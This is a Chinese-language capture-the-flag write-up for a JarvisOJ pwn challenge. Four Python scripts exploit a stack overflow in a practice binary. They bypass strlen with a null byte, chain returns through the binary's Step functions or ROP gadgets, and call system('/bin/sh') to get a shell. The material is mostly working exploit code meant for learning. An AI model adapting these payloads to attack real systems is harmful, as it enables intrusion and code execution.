简介 :
项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
题目地址 : https://coding.net/u/yihangwang/p/pwnme/git/tree/master/lessons/jarvisoj/5
利用代码 :
方法一 :
(按照出题人的思路 , 分别调用 Step1, Step2, Step3, 在内存中构造 /bin/sh , 然后调用 system)
#!/usr/bin/env python
# encoding:utf-8
import zio
payloadForStep1 = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payloadForStep1 += "@" * 8 #
payloadForStep1 += zio.l32(0x804871e) # Step1() 的地址
payloadForStep1 += zio.l32(0x804867d) # main() 的地址
payloadForStep1 += "\x00" * 4 # Step1 的参数3
payloadForStep1 += "AAAA" # Step1 的参数2
#payloadForStep1 += "\xd5\xc4\xb3\xa2" # Step1 的参数 1
payloadForStep1 += zio.l32(0xA2B3C4D5) # Step1 的参数 1
payloadForStep2 = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payloadForStep2 += "@" * 8 #
payloadForStep2 += zio.l32(0x8048766) # Step2() 的地址
payloadForStep2 += zio.l32(0x804867d) # main() 的地址
payloadForStep2 += zio.l32(0xFF25A7D4) # Step2 的参数 1
payloadForStep2 += "AAAA" # Step2 的参数2
payloadForStep3 = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payloadForStep3 += "@" * 8 #
payloadForStep3 += zio.l32(0x80487A3) # Step3() 的地址
payloadForStep3 += zio.l32(0x804867d) # main() 的地址
payloadForStep3 += zio.l32(0xFFFFFFFF) # Step3 的参数 1
payloadForStep3 += zio.l32(0xC0C0C0C) # Step3 的参数2
payloadForStep3 += zio.l32(0x9A829A82) # Step3 的参数3
Io = zio.zio("./rop_rop_rop")
Io.readline()
Io.readline()
Io.write(payloadForStep1)
Io.write("\n")
Io.readline()
Io.readline()
Io.write(payloadForStep2)
Io.write("\n")
Io.readline()
Io.readline()
Io.write(payloadForStep3)
Io.write("\n")
Io.interact()
方法二 :
(通过调用 GetUserInput() 函数将 "/bin/sh" 写入指定内存地址 , 构造 system 的调用栈)
(得到蔚恒学长的指点 , payload 长度最短)
#!/usr/bin/env python
# encoding:utf-8
import zio
payload = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payload += "@" * 8 #
payload += zio.l32(0x80485F2) # GetUserInput() 的地址
payload += zio.l32(0x8048480) # GetUserInput() 的返回地址 , 也就是 system 函数的地址
payload += zio.l32(0x804A04C) # GetUserInput() 的参数 (在内存中找一段可写的地址 , 用来存放 /bin/sh 这个字符串)
payload += zio.l32(0x804A04C) # system() 函数的参数 , 为 /bin/sh 这个字符串的地址
Io = zio.zio("./rop_rop_rop")
Io.writeline(payload)
Io.readline()
Io.writeline("/bin/sh")
Io.interact()
方法三 :
(rop)
#!/usr/bin/env python
# encoding:utf-8
import zio
payload = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payload += "@" * 8 #
payload += zio.l32(0x80485F2) # GetUserInput() 的地址
payload += zio.l32(0x804886B) # pop, ret 的地址
payload += zio.l32(0x804A04C) # GetUserInput() 的参数 (在内存中找一段可写的地址 , 用来存放 /bin/sh 这个字符串)
payload += zio.l32(0x8048480) # GetUserInput() 的返回地址 , 也就是 system 函数的地址
payload += zio.l32(0x804886B) # pop, ret 的地址
payload += zio.l32(0x804A04C) # system() 函数的参数 , 为 /bin/sh 这个字符串的地址
payload += zio.l32(0x8048490) # exit() 函数的地址
payload += "\x00" * 4 # exit() 的返回地址 (程序已经结束就不必再关心)
payload += zio.l32(0x00) # exit() 的参数 , 0
Io = zio.zio("./rop_rop_rop")
Io.writeline(payload)
Io.readline()
Io.writeline("/bin/sh")
Io.interact()
方法四 : (方法一的简洁版本)
#!/usr/bin/env python
# encoding:utf-8
import zio
payload = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payload += "@" * 8 #
payload += zio.l32(0x804871e) # Step1() 的地址
payload += zio.l32(0x8048869) # pop,pop,pop,ret 的地址
payload += "\x00" * 4 # Step1 的参数3
payload += "AAAA" # Step1 的参数2
payload += zio.l32(0xA2B3C4D5) # Step1 的参数 1
payload += zio.l32(0x8048766) # Step2() 的地址
payload += zio.l32(0x804886A) # pop,pop,ret 的地址
payload += zio.l32(0xFF25A7D4) # Step2 的参数 1
payload += "AAAA" # Step2 的参数2
payload += zio.l32(0x80487A3) # Step2() 的地址
payload += "BBBB" # 已经执行到 Step3() , 再如何跳转已经无所谓了
payload += zio.l32(0xFFFFFFFF) # Step3 的参数 1
payload += zio.l32(0xC0C0C0C) # Step3 的参数2
payload += zio.l32(0x9A829A82) # Step3 的参数3
Io = zio.zio("./rop_rop_rop")
Io.readline()
Io.write(payload + "\n")
Io.interact()
